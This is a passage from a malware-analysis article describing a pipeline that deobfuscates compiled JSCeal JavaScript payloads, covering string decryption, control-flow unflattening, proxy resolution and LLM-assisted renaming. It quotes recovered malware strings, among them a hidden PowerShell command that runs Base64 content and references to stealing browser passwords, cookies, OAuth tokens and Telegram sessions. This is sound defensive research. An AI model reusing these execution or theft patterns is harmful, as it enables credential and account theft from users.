r0() } This is already significant progress compared with the raw bytecode, but the remaining obfuscation still makes most of the output effectively unreadable. The rest of the pipeline progressively removes those layers and transforms the output into pseudocode suitable for practical analysis. One syntax detail is worth keeping in mind throughout the article: View8 uses its own pseudocode notation and should not be interpreted as literal JavaScript. For example, an expression such as  !r6 === "0"  represents the negation of the entire comparison — semantically:  r6 !== "0" . Obfuscation layers The analyzed JSCeal payloads were protected with  javascript-obfuscator  [ 6 ]. Its configuration is highly customizable, and the exact combination varied between samples. Across the corpus, we repeatedly observed four groups of transformations: Renamed identifiers.  Function and variable names are replaced with short or nonsensical identifiers. String protection.  Important strings are split into chunks and reconstructed through decoder functions. In the dominant variant observed in JSCeal, the stored chunks are encoded and RC4-protected. Control-flow flattening.  Selected functions are transformed into state machines whose intended block order is hidden behind a dispatcher. Proxy and operation indirection.  Function calls are forwarded through proxy helpers, while simple operations such as addition, subtraction, comparison, or function invocation are wrapped in dedicated helper functions. The deobfuscation pipeline has to follow a specific order because the result of one pass can expose information required by the next. For example, string deobfuscation reveals not only the text used in the code, but also keys for dictionaries containing variables and function references. Propagating values Before we can start peeling away the obfuscation layers, we need to set the stage by propagating the variables used in the code and performing all the necessary simplifications. Often, functions that we have to parse and resolve are not called directly, but through different variables: globals, scopes, or local registers. A similar problem applies to their arguments. Until we have everything filled and mapped, it won’t be possible to really understand the flow. Propagating values is non-trivial: it is done in multiple ways, at different layers of the obfuscation process. Demonstrating the full variety used would take too much space, so let’s focus on a few examples. We illustrate with string decryption functions here, but the same propagation logic applies to proxy resolution and operation inlining described later. Details on the actual string deobfuscation are given in the next section, “Reconstructing strings”. Below is a tiny function used to deobfuscate a chunk of a string. The input argument ( a1 ) is modified by a value passed via Scope. function func_r_0x24543eceeb91(a0, a1) { r1 = (a1 - Scope[10083][2]["c"]) return func_mt_0x3120801469(r1, a0) } Without knowing the actual value, we won’t be able to do the calculation required for deobfuscation. The scope is filled by a function higher in the declaration hierarchy. Once we find the particular line, we are ready to fill it. function func_yZ_0x24543ecedfc9(a0) { [...] Scope[10083][2] = new {"c": 742} [...] After the substitution, we get: function func_r_0x24543eceeb91(a0, a1) { r1 = (a1 - 742) return func_mt_0x3120801469(r1, a0) } In this form, the function is ready to be parsed, and we can see that the value  742  is subtracted from the input argument. Another problem is that in many parts of the code, calls to interesting functions have their arguments passed via local variables. While parsing a line, it is not immediately clear what arguments are being passed. In the given example, the function deobfuscating a string chunk,  func_r_0x24543eceeb91 , is called with two arguments that are passed via dictionaries. We first collect those dictionaries, and then substitute their uses with corresponding values. Before: r0 = new {"c": "SwH7", "n": 84197, "x": "PEKM", "Y": 104422, ...} [...] r7 = func_r_0x24543eceeb91(r0["c"], r0["n"]) r7 = (r7 + func_r_0x24543eceeb91(r0["x"], r0["Y"])) After: r7 = func_r_0x24543eceeb91("SwH7", 84197) r7 = (r7 + func_r_0x24543eceeb91("PEKM", 104422)) Once those preparations are completed, we are ready to parse the functions and resolve their outputs. Reconstructing strings String reconstruction is the first major deobfuscation stage. Strings are valuable artifacts on their own: they expose API names, paths, commands, URLs, object fields, and targeted services. More importantly for this pipeline, they also unlock later transformations. Recovered strings become dictionary keys, property names, and control-flow order sequences used by the unflattening and proxy-resolution passes. The analyzed samples used two string-obfuscation variants provided by  javascript-obfuscator  [ 6 ]. We implemented [ 7 ] a separate pass for each. The simpler variant, addressed by  deobf_str1.py , stores string fragments in an array and retrieves them through an index transformation. It appeared only in an older sample. The dominant variant, addressed by  deobf_str2.py , adds several more layers: encoded string chunks, RC4 encryption, a large family of decoder wrappers, and arithmetic transformations of the chunk index. This is the variant described below. Details on deobfuscation modes used by each payload are listed in  Appendix C . The string obfuscation rabbit-hole Let’s take a closer look at how the most common JSCeal string obfuscation is implemented. This is the mode addressed by  deobf_str2.py . Just like in the simplest mode, each string is split into chunks. Then, each chunk is RC4 encrypted with a different key. The resulting content is Base64-encoded. Such obfuscated chunks are accumulated in a single array, stored inside one of the functions, and retrieved from there into a global scope. It is initialized in the start function. An example of how the function holding the array of chunks may look is given below (keep in mind that the array may contain thousands of elements): function func_KV_0x18c3e8c9a1c1() { r0 = Scope[0] Scope[10824][2] = new ["s8ohWR3dRx8", "ffddSSo6sW", ... ] } When the program needs a string, it calls one of many decoder functions. A typical call contains a numeric value and a short RC4 key: r2 = func_xt_0x274f42c4e909(71692, "%]hf") The argument order is varied: some decoder functions receive  (number, key) , while others receive  (key, number) . The number is used to calculate the index of the chunk to be decrypted, relative to the aforementioned global list. The calculation is done inside the function. To make things more complex, deobfuscation is done not just by one function, but by many similar instances. The instances may call one another, each one of them adding or subtracting a different value to the input argument. In order to calculate the actual chunk index, we have to follow the whole chain of functions, parse them, and repeat the operations they performed. At the end of the chain there is always a strongly obfuscated parent function that contributes the final operation. The values used in calculations are not hard-coded in the function but passed via scope (details described in “Propagating values”). Example of a single deobfuscating function: function func_r_0x7b2a9768611(a0, a1) { r1 = (a1 - Scope[1][2]["V"]) return func_xt_0x274f42c4e909(r1, a0) } In the above case, the index was passed via argument  a1 . The value retrieved from the scope is first subtracted from it. The result, along with the argument  a0  representing the RC4 key, is passed to the next deobfuscation function ( func_xt_0x274f42c4e909 ) which performs similar operations. The chain of similar calls follows multiple layers until it reaches the parent function which adds or subtracts the final value from the index, retrieves the chunk from the global array, and performs the decryption operation. Recovering the root offset As mentioned earlier, at the top of the chain of different deobfuscating functions that call one another, there is always an obfuscated parent. Instead of deobfuscating it, we decided to treat it as a black box. Recovering its index shift involves several steps. The parent functions are the first string decoding functions to be declared, and in the start function, they may be called directly. Just like in the case of their children, two arguments are expected: the RC4 key, and the number used for index calculation. Once we have found the parent, we track its direct calls and collect the arguments. We know that the chunk index is obtained by an arithmetic operation (addition or subtraction) on the passed number. We can express it as: index = arg (+|-) X The goal is to find the correct X (index shift). Since this value is used to calculate the index of the chunk, the upper bound is the number of chunks in the array (N). We test candidate shifts from  0  to  N-1 , apply each to the input index, and attempt to decrypt the resulting chunk. If the output looks like a valid string, we treat that X as the index shift candidate. Conceptually: for candidate_shift in 0 .. N-1: candidate_chunk = array[(input_index + candidate_shift) mod N] plaintext = RC4(candidate_chunk, key) if plaintext looks plausible: keep candidate_shift A plausible result from a single call is not enough: an invalid chunk can occasionally produce printable text when decrypted with the given key. The implementation therefore requires  at least three distinct input/output observations for the same decoder function.  It computes the candidate shifts per set, intersects those sets, and accepts the value only when it produces a printable result for each. In all the analyzed payloads this condition was sufficient to find the appropriate index shift. This can be viewed as a bounded brute-force search. The implementation tests possible index shifts within the string-array length and uses multiple independent calls to eliminate candidates that do not produce consistent printable results. Once the root configuration is known, the pass propagates the index shift through the collected function graph to the callers, calculating the cumulative index delta applied by each individual decoder. Overview of the string deobfuscating pass The string deobfuscation pass requires all arguments to be filled, as described in “Propagating values”. It works in the following steps: Retrieves the start function Searches for the function aggregating obfuscated string chunks. It is always referenced by the start function and can be spotted by a known pattern of the call. Example: ACCU = func_unknown_0x93e23cef019(func_KV_0x18c3e8c9a1c1, 940600) Follows and parses the function with chunks (in the above case:  func_KV_0x18c3e8c9a1c1 ). Stores the list for further use. Searches all the string decoding functions, recovers the parent index shifts, and calculates the resulting index shift for each decoder function. The input arguments can be arranged in two ways: either  Rc4Key, Offset  or  Offset, Rc4Key  – this is recognized and added to the function prototype. r2 = (r2 + func_xt_0x274f42c4e909(99288, "h^gm")) //Offset, Rc4Key After the first run, the deobfuscator stores parsed and calculated arguments in a CSV file. If the pass has to be re-run, the list is pre-loaded, which saves time. Example of the listing (format:  function_name,index_shift,is_index_first ): func_xt_0x274f42c4e909,125103,True func_Et_0x1d8d5672d829,125093,False func_u_0x3fa27d771f29,125016,True func_r_0x93e23cf1d91,125126,True func_n_0x93e23cf22a1,126086,True ... After all the deobfuscating functions have been resolved, each of their resolved occurrences is replaced with its output value. The deobfuscated chunks are then chained together to form the full string. - r5 = func_n_0x34d57d25f3b9(60787, "Bz&S") //"defau" r4 = xF[(r5 + "lt")] r4 = global_xF["default"] r5 = func_n_0x34d57d25f3b9(58819, "5C8Q") // "globa" r5 = (r5 + func_n_0x34d57d25f3b9(17159, "SldQ")) //"lAgen" return r4[(r5 + "t")] return r4["globalAgent"] After the deobfuscation is completed, the functions responsible for string decoding are no longer needed. Their representation is hidden in the code and not printed in the decompilation output. Scale and performance For the 23-sample dataset used in the final measurements [ 8 ], the string layer contained approximately: 130,000 encoded chunks on average , with observed values from about 19,000 to 217,000; 10,000 decoder configurations on average , with observed values from about 2,200 to 13,000. Measured runtime for the string stage was: modeminimummedianmaximumwithout cache0.6 min1.7 min4.6 minwith cache0.5 min1.2 min3.0 min After string reconstruction, the output contains both substituted plaintext and a standalone string listing. This is often the first point at which the payload starts exposing concrete artifacts such as commands, registry paths, browser targets, cryptocurrency platforms, and the attacker’s embedded public key. Artifact overview In addition to the main output of the pass (which is the decompiled and pickled file), the list of all the strings is dumped as text. It helps quickly give an idea of which functionalities are implemented, and to compare different payloads. Example   –   listing of strings extracted from a sample:  e27ae65977287bdfb7b0e15fd3603f85.deobf.txt.strings.txt Among the interesting artifacts, we can find the public key of the attackers: "\n-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRdWl/ucoH+ZnVuxHrx2\ncTbwEY2LucyUqEJVl6trmNYaJTFX9qDYA8Z4VOaFO86MHg0cY1mJ8NALzTqDt20C\nlnqYtLEuo0Fqg9pJMhnEb078F31dilgdK+5bK7LgwXps06KQ+Dk7XxaqkbPFa7oZ\n73/q4FhrYEtBxFno0WJla7mq49/W4wJb753WYWTjRMjBKVaUIOtAtGdBp8Li2WX2\nPDqxftDcvT8hJf5H6tMJ3tQRpyHu7ljkwdivamG/labZpzKhijK7BMgrd7251sjh\n7zD6prnafayjK+nfD1dvok7Rd8TV8sa1FK8T0uMmGFdUVGK+X4f45AwNWn8OINLE\nVwIDAQAB\n-----END PUBLIC KEY-----" There are strings related to deploying hidden PowerShell scripts and running content from a Base64-encoded blob: "powershell -NoProfile -WindowStyle Hidden -Command \"" "Invoke-Expression ([System.Text.Encoding]::" ".GetString([System.Convert]::FromBase64String($_.unattend.Extensions." Multiple strings suggest that the malware enumerates installed browsers, and tries to query the saved secrets, cookies, OAuth tokens, and other data: "iterInstalledBrowsers" "getCookies" "application" "launch" "values" "createBrowserContext" "newPage" "setCookie" "getPasswords" "div[data-identifier=\"" "findInstalledBrowser" "--user-data-dir=" "--profile-directory=" "withCreateProcessUser" "user_id" "oauth_token" "google" "saveOAuthToken" "/oauth2/:version/token?grant_type=authorization_code&client_id=" It also queries all installed applications and targets Telegram accounts: "listTelegramSessions" "listInstalledApplications" To achieve its goals, it uses the capability to spawn additional processes: "Process exited with code " spawn It creates a local proxy server with its own certificate: "address" close "listen" "127.0.0.1" "createServer" pki rsa "generateKeyPair" "createCertificate" "publicKey" "serialNumber" "certificateToPem" Some strings are fragments of URLs for particular cryptocurrency vaults and are related to checking account balances: ".phantom-labs.vault." "totalBalanceInUSDT" "free_margin_usd" "floating_usd" "historical_balances_per_asset_category" "total_usd_market_value" "customer_account_USDT_balance_available" "binance" Many of the deobfuscated strings come from Node.js modules bundled into the payload and give an idea of what functionality to expect. Comprehensive analysis of all the artifacts is beyond this short overview. You can find the extracted strings from all analyzed samples in the directory with additional materials [ 8 ]. Control flow unflattening Some of the most important functions of the malware are obfuscated using Control Flow Flattening (CFF). To resolve this layer, we must make sure that all strings are deobfuscated and propagated, because they are crucial for the execution logic. In the listing produced by the previously described filter, we find some strings in the format  [number0]|[number1]|[number2]...  for example: “3|2|1|0|4”. Such strings denote an order of chunks to be executed. Typically, CFF is implemented as a state machine. We can see it represented by a while loop. In each iteration of the loop, the number is fetched from the list. This number is further checked against nested  if  statements, directing to the chunk of code to be executed. In the simplest form, a chunk ends with  continue , causing the loop to progress to another case. Example (from:  03f4e47b9c2283c32bb8f8f042ce6e41 ): function func_Mz_0x6035be98311(a0) { r5 = Scope[0] r2 = func_r_0x6035be98a69 Scope[6705][2] = new {"w": 1342} r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null} r6["jGBGz"] = "3|2|1|0|4" r6["hBPBb"] = func_hBPBb_0x6035be990e9 r6["qbyOP"] = "wss" r6["ykkYm"] = func_ykkYm_0x6035be991e9 r6["SeAyf"] = func_SeAyf_0x6035be992e9 r6["yHrsY"] = "https" r6["umIdy"] = "http" r6["RBgqe"] = "Invalid protocol" r1 = r6 r7 = r1["jGBGz"] r6 = r7["split"] r3 = r6("|") r4 = 0 while (true) { r7 = Number(r4) r4 = (Number(r4) + 1) r6 = r3[r7] if (!r6 === "0") { if (!r6 === "1") { if (!r6 === "2") { if (!r6 === "3") { if (!r6 === "4") { continue } r7 = r1["hBPBb"] r10 = r1["qbyOP"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } continue } r7 = r1["ykkYm"] if (r7(a0, "ws")) { r7 = global_Nb["default"] return r7["globalAgent"] } continue } r7 = r1["SeAyf"] r10 = r1["yHrsY"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } continue } r7 = a0["split"] r7 = r7(":") a0 = r7[0] r7 = r1["hBPBb"] r10 = r1["umIdy"] if (r7(a0, r10)) { r7 = global_Nb["default"] return r7["globalAgent"] } continue } r8 = r1["RBgqe"] ACCU = Error ACCU = Error(r8) break } return undefined } We start the deobfuscation by identifying the beginnings and ends of each code chunk. For example, to find the chunk number 0, we first need to identify the if statement that actually checks against the negation of this condition:  if (!r6 === "0") . Once we find the statement, we have to skip the body under it (since it is a negation) and find the first closing bracket with the same indentation as the statement itself. This is where the chunk indexed as  0  actually starts. Once we have all the chunks mapped, we rearrange them by the order defined by the string, adjusting their indentations. The same function, unflattened: function func_Mz_0x6035be98311(a0) { r5 = Scope[0] r6 = new {"jGBGz": null, "hBPBb": null, "qbyOP": null, "ykkYm": null, "SeAyf": null, "yHrsY": null, "umIdy": null, "RBgqe": null} r6["hBPBb"] = func_hBPBb_0x6035be990e9 r6["qbyOP"] = "wss" r6["ykkYm"] = func_ykkYm_0x6035be991e9 r6["SeAyf"] = func_SeAyf_0x6035be992e9 r6["yHrsY"] = "https" r6["umIdy"] = "http" r6["RBgqe"] = "Invalid protocol" r1 = r6 r4 = 0 r7 = a0["split"] r7 = r7(":") a0 = r7[0] r7 = r1["hBPBb"] r10 = r1["umIdy"] if (r7(a0, r10)) { r7 = global_Nb["default"] return r7["globalAgent"] } r7 = r1["SeAyf"] r10 = r1["yHrsY"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } r7 = r1["ykkYm"] if (r7(a0, "ws")) { r7 = global_Nb["default"] return r7["globalAgent"] } r7 = r1["hBPBb"] r10 = r1["qbyOP"] if (r7(a0, r10)) { r7 = global_Tb["default"] return r7["globalAgent"] } r8 = r1["RBgqe"] ACCU = Error ACCU = Error(r8) return undefined } For the sake of comparison, let’s see it with further deobfuscation filters applied: function func_Mz_0x6035be98311(a0) { r4 = 0 r7 = a0["split"] r7 = r7(":") a0 = r7[0] if (a0 === "http") { return global_Nb["default"]["globalAgent"] } if (a0 === "https") { return global_Tb["default"]["globalAgent"] } if (a0 === "ws") { return global_Nb["default"]["globalAgent"] } if (a0 === "wss") { return global_Tb["default"]["globalAgent"] } ACCU = Error ACCU = Error("Invalid protocol") return undefined } At this point the function’s intention becomes clear. It performs a lookup that returns the appropriate  globalAgent  for a given protocol. The caveats Sometimes, the chunks of code that are executed in each state are decompiled in a way that makes them difficult to separate cleanly. Let’s take a look at the following example: while (true) //The dispatcher loop { r15 = Number(r4) r4 = (Number(r4) + 1) r14 = r3[r15] if (!r14 === "0") { // Other chunks... // [...] } // Chunk 0: r15 = r2["Uugef"] if (r15(r11, r12)) { ACCU = 0 continue ///<- this is not the end of the chunk... } r15 = r2["PgJCU"] r17 = r2["LqFvW"] r17 = r17(r11, r12) if (r15(r17, r5)) { ACCU = 1 continue ///<- this is not the end of the chunk... } return -1 break } We have  continue  statements inside the  if  blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten. The chunk should therefore look as follows after this adjustment: // Chunk 0: r15 = r2["Uugef"] if (r15(r11, r12)) { ACCU = 0 } else // added else statement { r15 = r2["PgJCU"] r17 = r2["LqFvW"] r17 = r17(r11, r12) if (r15(r17, r5)) { ACCU = 1 } else // added else statement { return -1 } } The  continue  statements have been removed, and the code that originally followed each  if  statement has been moved into the corresponding  else  clause. The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested  continue  statements and reconstructs the equivalent logic by building an  else  clause from the code that follows the original  if  statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [ 7 ] evolves. Resolving Proxies and Operations Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse. The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments. function func_hgFUm_0x17275c6577e9(a0, a1, a2, a3, a4, a5, a6) { r1 = a1 r2 = a2 r3 = a3 r4 = a4 r5 = a5 r6 = a6 return a0(r1, r2, r3, r4, r5, r6) } function func_oWgYF_0x17275c6566c1(a0, a1, a2, a3, a4) { r1 = a1 r2 = a2 r3 = a3 r4 = a4 return a0(r1, r2, r3, r4) } They are usually simple to resolve. First, we reduce each of them to their basic form, which removes the use of the local registers. For example: function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3) { r1 = a1 r2 = a2 r3 = a3 return a0(r1, r2, r3) return a0(a1, a2, a3) } Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code. Example: -function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3) -{ return a0(a1, a2, a3) -} @@ -22213,7 +21565,7 @@ function func_J_0x16abcdb59891() } else { ACCU = func_INBzN_0x16abcdb5cc69(func_k_0x16abcdb5a2d9, <this>, null, null) ACCU = func_k_0x16abcdb5a2d9(<this>, null, null) } As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names. For example: function func_wcmWN_0x35459f2fab89(a0, a1) { return a0 in a1 } function func_eBvDY_0x35459f2fa789(a0, a1) { return (a0 - a1) } function func_wNPyv_0x35459f2fa689(a0, a1) { return (a0 / a1) } function func_oEEDc_0x35459f2faa89(a0, a1) { return a0(a1) } The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition). One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications. Iterative propagation of the structures To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code. In the snippet below, a dictionary is first assigned to the local register  r1 , filled with references to functions, and further assigned to the scope variable ( Scope[846][21] ). r1 = new {"hKCZK": null, "kdujm": null, "siBVG": null, "qQNNx": null, "ECBQT": null, "Bdomb": null} r1["hKCZK"] = func_hKCZK_0x24149a8df611 r1["kdujm"] = func_kdujm_0x24149a8df931 r1["siBVG"] = func_siBVG_0x24149a8dfbe1 r1["qQNNx"] = func_qQNNx_0x24149a8dfe99 r1["ECBQT"] = func_ECBQT_0x24149a8e0151 r1["Bdomb"] = func_Bdomb_0x24149a8e0409 Scope[846][21] = r1 Then, each of these functions is called indirectly, by one of the children of the declarer. Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further. Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register  r5 , and its two arguments are passed via  Scope[846][3] : r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])] Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is  "qQNNx" ). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function  func_qQNNx_0x24149a8dfe99 ). r10 = Scope[846][21]["qQNNx"] //func_qQNNx_0x24149a8dfe99 This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via  Scope[845][29]  using the key  "PQxQy"  and then calls this function with two arguments. Basically, it is a wrapper. function func_qQNNx_0x24149a8dfe99(a0, a1) { r1 = Scope[845][29]["PQxQy"] return r1(a0, a1) } Once we track upstream what is behind this key, we find a reference to another function: r4 = new {... "PQxQy": null, ...} ... r4["PQxQy"] = func_PQxQy_0x24149a8dd581 ... Scope[845][29] = r4 Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation: function func_PQxQy_0x24149a8dd581(a0, a1) { return (a0 - a1) } By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below. Step 1 (initial decompiled code): function func_value_0x24149a8e3d19(a0) { [...] r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])] r13 = r5(Scope[846][3]["k"], Scope[846][3]["Q"]) r12 = r0[(r13 + "h")] r10 = r10(r12, a0) Step 2 (resolve arguments for the string deobfuscation function  func_me_0x24149a8e4421 ): r10 = Scope[846][21][func_me_0x24149a8e4421(12568, "%]hf")] //"qQNNx" r13 = func_me_0x24149a8e4421(34408, "[Jy3") //"lengt" r12 = r0[(r13 + "h")] r10 = r10(r12, a0) Step 3 (the string revealed the key of another dictionary passed via scope, that resolves to a function): r10 = Scope[846][21]["qQNNx"] // func_qQNNx_0x24149a8dfe99 r12 = r0["length"] r10 = r10(r12, a0) Step 4 (the found function is called in the line below; it resolves to a proxy function): r12 = r0["length"] r10 = func_qQNNx_0x24149a8dfe99(r12, a0) // -> func_PQxQy_0x24149a8dd581 Step 5 (substitute the proxy function with the actual function it calls): r12 = r0["length"] r10 = func_PQxQy_0x24149a8dd581(r12, a0) Step 6 (the call resolves to an atomic operation and can be substituted by such): r12 = r0["length"] r10 = (r12 - a0) The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity. Interpreting the flow Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps. The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example: global_Xr = func_Xr_0x93e23cef8e9 [...] d7e = global_Xr(func_unknown_0x217bb6195779) [...] G7e = {} M7e = global_Xr(func_unknown_0x7b2a97682c9) j7e = require("dns") ACCU = global_n2() r1 = j7e["setServers"] r3 = new [0, 0] r3[0] = "1.1.1.1" r3[1] = "8.8.8.8" ACCU = r1(r3) ACCU = global_Soe(__filename) if (global_Soe(__filename)) { ACCU = global_d7e() ACCU = global_kV(s7e) } else { ACCU = global_M7e() ACCU = global_kV(G7e) } r0 = ACCU return ACCU } This still contains some obfuscation patterns that need to be understood and removed. Proxy functions using scopes The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet: global_Xr = func_Xr_0x93e23cef8e9 ... d7e = global_Xr(func_unknown_0x217bb6195779) ... M7e = global_Xr(func_unknown_0x7b2a97682c9) ... if (global_Soe(__filename)) { ACCU = global_d7e() ... } else { ACCU = global_M7e() ... } The  global_Xr  variable points to the following function: function func_Xr_0x93e23cef8e9(a0, a1) { r0 = Scope[0] Scope[8554][3] = a0 Scope[8554][2] = a1 return func_unknown_0x93e23cef9f9 } That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up: function func_unknown_0x93e23cef9f9() { if (Scope[8554][3]) { r0 = Scope[8554][3] Scope[8554][3] = 0 Scope[8554][2] = r0(0) } return Scope[8554][2] } The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code: function Xr(fn, cached) { return function thunk() { if (fn) { const tmp = fn; fn = 0; cached = tmp(0); } return cached; }; } This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly. We can observe it referenced similarly to the example below: global_d7e = global_Xr(func_unknown_0x217bb6195779) [...] ACCU = global_d7e() There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly: ACCU = func_unknown_0x217bb6195779() So, the final dispatcher can be interpreted as: if (global_Soe(__filename)) { ACCU = func_unknown_0x217bb6195779() ACCU = global_kV(s7e) } else { ACCU = func_unknown_0x7b2a97682c9() ACCU = global_kV(G7e) } Finding the vital functions To understand the flow further, we need to see what happens in the function called in each branch. Let’s look at one of them: function func_unknown_0x7b2a97682c9() { r5 = Scope[0] r2 = func_r_0x7b2a9768611 r6 = new {"bALca": null, "rPEMA": null, "PUUhv": null, "zEykL": null} r6["rPEMA"] = func_rPEMA_0x7b2a9768939 r6["PUUhv"] = func_PUUhv_0x7b2a9768a39 r6["zEykL"] = func_zEykL_0x7b2a9768b39 r1 = r6 r4 = 0 r7 = r1["zEykL"] ACCU = r7(P7e) r7 = r1["rPEMA"] ACCU = r7(X7e) r7 = r1["PUUhv"] ACCU = r7(N7e) r7 = r1["rPEMA"] ACCU = r7(R7e) return undefined } Functions like  rPEMA  simply perform calls via a proxy: function func_rPEMA_0x7b2a9768939(a0) { return a0() } So the real meaning is: function func_unknown_0x7b2a97682c9() { r4 = 0 ACCU = global_P7e() ACCU = global_X7e() ACCU = global_N7e() ACCU = global_R7e() return undefined } In the other branch of the statement, it is: function func_unknown_0x217bb6195779() { r4 = 0 ACCU = global_RU() ACCU = global_n7e() ACCU = global_c7e() ACCU = global_Xf() ACCU = global_FE() ACCU = global_x7e() return undefined } Functions such as  P7e  are defined in the start function as globals and resolve to: global_RU = global_Xr(func_unknown_0x217bb618aaf1) global_n7e = global_Xr(func_unknown_0x217bb618e1f1) global_c7e = global_Xr(func_unknown_0x217bb61943c1) global_Xf = global_Xr(func_unknown_0x1cab5d7b26e9) global_FE = global_Xr(func_unknown_0x1d8d5671d7f1) global_x7e = func_x7e_0x217bb6194f91 global_P7e = global_Xr(func_unknown_0x7b2a9764cb1) global_X7e = global_Xr(func_unknown_0x7b2a9766509) global_N7e = global_Xr(func_unknown_0x7b2a975fa61) global_R7e = global_Xr(func_unknown_0x7b2a9751711) Those are the functions that implement the actual malware functionality. Some of them are further obfuscated, for example: function func_unknown_0x217bb618e1f1() { r3 = Scope[0] r4 = new {"Vhzac": null, "ZljYv": null, "MbImZ": null} r4["Vhzac"] = func_Vhzac_0x217bb618e6d1 r4["ZljYv"] = func_ZljYv_0x217bb618e7d1 r4["MbImZ"] = func_MbImZ_0x217bb618e8d1 r1 = r4 r4 = r1["Vhzac"] ACCU = r4(f1) r4 = r1["ZljYv"] r7 = r1["Vhzac"] r7 = r7(Qs) global_eb = r4(Di, r7) r4 = r1["MbImZ"] ACCU = r4(ag) return undefined } After replacing the wrappers, we can see more clearly what the above code represents: function func_unknown_0x217bb618e1f1() { r3 = Scope[0] ACCU = global_f1() // global_f1 = global_Xr(func_unknown_0x23f664e8d2b1) r7 = global_Qs() // global_Qs = global_du(func_unknown_0x1cab5d7a90b1) global_eb = global_Di(r7) // global_Di = func_Di_0x93e23cf17b1 ACCU = global_ag() // global_ag = global_Xr(func_unknown_0x1cab5d7b0399) return undefined } Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed. After the final transformation, the function presented above takes the following form: function func_unknown_0x217bb618e1f1() { ACCU = func_unknown_0x23f664e8d2b1() r7 = func_unknown_0x1cab5d7a90b1["exports"]() global_eb = func_Di_0x93e23cf17b1(r7) ACCU = func_unknown_0x1cab5d7b0399() return undefined } LLM-assisted function renaming After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names. For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an  optional LLM-assisted renaming stage  as a navigation aid. The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse. Dependency-aware renaming Because functions depend on other functions, the order in which they are sent to the renamer matters. We start by building a dependency graph from the entry point. In the default mode, the graph follows  direct function calls . In  greedy  mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph. Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels. Conceptually: Figure 4 – The conceptual flow of the function renamer The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM. The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused  --func  mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty. Evaluating the proposed names Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation. The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names. For the final comparison, we generated names from the same normalized deobfuscated base using  Claude Sonnet 4.6  and  GPT-5.4-mini . Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. 